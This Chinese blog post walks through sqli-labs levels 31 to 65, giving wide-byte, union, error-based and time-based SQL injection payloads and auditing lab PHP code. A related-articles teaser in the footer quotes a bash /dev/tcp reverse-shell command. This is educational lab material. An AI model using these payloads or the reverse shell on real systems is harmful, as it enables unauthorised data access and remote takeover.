sqli靶场完结篇!!!!

2024-02-08 21:12
文章标签 靶场 完结篇 sqli

本文主要是介绍sqli靶场完结篇!!!!,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!

31.多个)号

先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc

321313132"+union+select+2,user(),"2

于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西

换句poc?发现就能成功bypasss

321313132")+union+select+2,user(),("2

32.宽字节注入

当我们添加一个' 就能看见这样的回显

那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤

于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询

33.你三十二关再考我一次是吧?

这题还以为有什么过滤,结果发现和上一关一摸一样

                         玩我是吧

34.宽字节登录

首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录

由于先测试一下注入的姿势,能发现是宽字节的过滤

于是就有poc:

admin%df'or+1=1--+

成功登录

35.why_care_for_addslahes()

做这题真就有种打ctf的感觉了,有意思       

首先一顿操作猛如虎,先加一个单引号,猜测是宽字节

然后就发现为啥啥都过滤但是却报错???

无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说

 :“单引号报错,两个引号不报错

不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程

  1. 原来:select * from users where id='1' ;
  2. 开始注入: select * from users where id='1 %df/ '  %df/'   ';
  3. 然后就会被解释成 select * from users where id='1運'  運'';

这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型   也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc

0+union+select+1,database(),user()--+

所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!

36.mysql_real_escape_string

这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)

0%df'+union+select+1,user(),database()--+

37.你三十四关又又又考完一次是吧??

这个和三十四关又是一样的

我belike: 不多说,直接上poc

admin%df'+or+1=1--+

38.堆叠注入

这个我在我之前的blog里面讲过,就不多赘述了

39.堆叠注入但是数字型

这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了

                        

40.Seems 这个代码有点问题??

做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写

0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+

你就会发现,他们都是可以的,难道这一关就止步于此???

于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?

访问login.php,发现报错

于是我就发现问题出现在了login.php那里,一起来看代码

$login = sqllogin();
if (!$login== 0) 
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600);  /* expire in 15 Minutes */header('Location: logged-in.php');
} 
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
} 

其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好

function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);print_r($row) ;if ($row[1]) {echo $row[1];} else {return 0;}}

来审计一下代码:

  • 首先就是mysql_real_escape_string函数,用来将特殊字符转义
  • 接着就是查询
  • 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :(  然后结束程序
  • 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况

所以就在url拼接login_user 和 login_password这两个字段就好

但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题

41.考了个啥,还是堆叠???

这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了

查看了源代码才发现原来是堆叠注入,那也不多赘述了

42.Password字段没有过滤

尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错

于是就开始我们的poc

password=1'+or+1='1 

其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!

43.还是多一个()

这题其实和上一题一模一样 就是多一个() 先上poc

password=admin')or+1=1--+

然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构

$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";

于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答

admin'+or+1=1--+

soga~~~原来如此

44.和四十二关一样

不知道为什么他的答案和四十二关一样,那就直接上poc了

password=admin'+or+1=1--+

45.又是多个()

这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc

login_password=admin')or+1=1--+

46.报错,报错

这一题有点新颖,这种一看就知道是order by的查询语句

其实这种还挺难搞

  • 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
  • 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响 
  • 而且源代码里面还不存在堆叠注入的点

所以这里只能报错注入了,上poc

3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

 

这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了

47.多了个' 号

这题其实就是和上面的那一题一样 只不过多一个 ' 而已

3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))

48.盲注

这题更离谱,它直接啥都不给你了,于是可以盲注

3'+and+sleep(1)

但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????

                                

49.和上一关一样,但是字符型

这一关就和上一关一样,不过是字符型

50.可以堆叠,但是条件苛刻

这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样

if ($result = mysqli_store_result($con1)){while($row = mysqli_fetch_row($result)){echo '<font color= "#00FF11" size="3">';		echo "<tr>";echo "<td>";printf("%s", $row[0]);echo "</td>";echo "<td>";printf("%s", $row[1]);echo "</td>";echo "<td>";printf("%s", $row[2]);echo "</td>";echo "</tr>";echo "</font>";		}

能成功地返回这样的结果,也可谓是十分困难了吧

51.我选择报错

这一关就直接报错注入就好了

1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+

52.我选择延时注入

poc:

sort=1+and+sleep(1) 

53.我还是选择延时注入

poc:

1'+and+sleep(4324324342)--+

54.你能在十次以内做出来吗???

这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:

111111'+union+select+1,database(),user()--+ 

 你怎么知道我刚好在第十次猜出来了哈哈哈

55. 正常注入

还是和上面一样多试试就出来了

32131313123122)%20union%20select%201,database(),user()--+

56.多一个 ' 无伤大雅

这个其实就是我们前面练的多的,不多说

)+union+select+1,user(),('1 

57.换成" 还是无伤大雅

不多说,救赎之道,就在标题 上poc

?id=3213113211"%20union+select%201,user(),database()--+

58.??再看多一眼??

这题一开始没做出来,去看了题解,才恍然大雾

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">';	$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";

看似一切正常,啥都不过滤,但是细看发现:     
   你的输出是什么鬼?????

所以这里只能报错注入了

1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+

 59.数字型的58关

不多赘述 ,"救赎之道,就在标题 " 

60.变成了 ")

poc:

id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+

61.你没题出了是吧???

不多说,先来看看源码

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

 不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了

id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

62.没有回显,但是延时注入

这一关是没有回显的,所以我们可以采用sleep来注入

id=1') and sleep(21)--+

63.还是62关,但是没有括号

这一关只是没有括号而已

?id=1%27and%20sleep(323)--+

64.又是))是吧???

这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好

?id=1))and%20if(length(database())=10,1,0)=1--+

65.完结撒花,但是有 "

这里也是不多说,直接上poc:

id=1")and%20if(length(database())=10,1,0)=1--+

终于,up的sqli靶场打完了 ,打的人都快麻了  ,先存一下小编的笔记,以后回来复习(如果记得的话)

        ​​​​​​​        ​​​​​​​        

这篇关于sqli靶场完结篇!!!!的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/692214

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

红日靶场----(四)1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限,我们就可以进入后渗透利用阶段,在这个阶段我们收集信息,采取措施维护我们的访问权限,转向其他机器     Step01:上线MSF(通过metasploit获取目标系统的会话-即SHELL) 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

【红日靶场】ATTCK实战系列——红队实战(一)手把手教程

目录 入侵网络的思路 一些概念 (1)工作组 (2)域 (3)账号 红日靶机(一) 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器(域控和域内主机) 渗透web服务器 外网信息搜集 (1)外网信息搜集的内容 (2)开始信息搜集(主要是利用工具) 漏洞利用 (1)漏洞利用的两种方式 (2)利用phpMyAdmin (3)开启3389端口远程桌面

tomato靶场攻略

1.使用nmap扫描同网段的端口,发现靶机地址 2.访问到主页面,只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录,发现有一个antibot_image 4.访问我们扫到的地址 ,点金目录里看看有些什么文件 5.看到info.php很熟悉,点进去看看   6.查看源代码发现是通过GET方式传参的 ,有文件包含漏洞 7. 利用文件包含漏洞,我们尝试查看一

Tomato靶场渗透测试

1.扫描靶机地址 可以使用nmap进行扫描 由于我这已经知道靶机地址 这里就不扫描了 2.打开网站 3.进行目录扫描 dirb    http://172.16.1.113 发现有一个antibot_image目录 4.访问这个目录 可以看到有一个info.php 5.查看页面源代码 可以发现可以进行get传参 6.尝试查看日志文件 http://172.16

攻防世界 —— 靶场笔记合集

靶场地址:https://adworld.xctf.org.cn/ 备注:此为靶场笔记合集的目录,是我接下来待更新的内容(主要是因为主线一篇太耗时间了,所以开通一条支线,来满足我日更两篇的目标,当该靶场更新完毕后,此条注释会删除) 0x01:Misc 0x02:Pwn 0x03:Web 0x0301:Web - Level 1 0x04:Reverse 0x05:Crypto

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

pikachu文件包含漏洞靶场通关攻略

本地文件包含 先上传一个jpg文件,内容写上<?php phpinfo();?> 上传成功并且知晓了文件的路径 返回本地上传,并../返回上级目录 可以看到我们的php语句已经生效 远程文件包含 在云服务器上创建一个php文件 然后打开pikachu的远程文件包含靶场,随便选一个提交 在filename处修改为云服务器的目标地址 127.0.0.1/pik

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就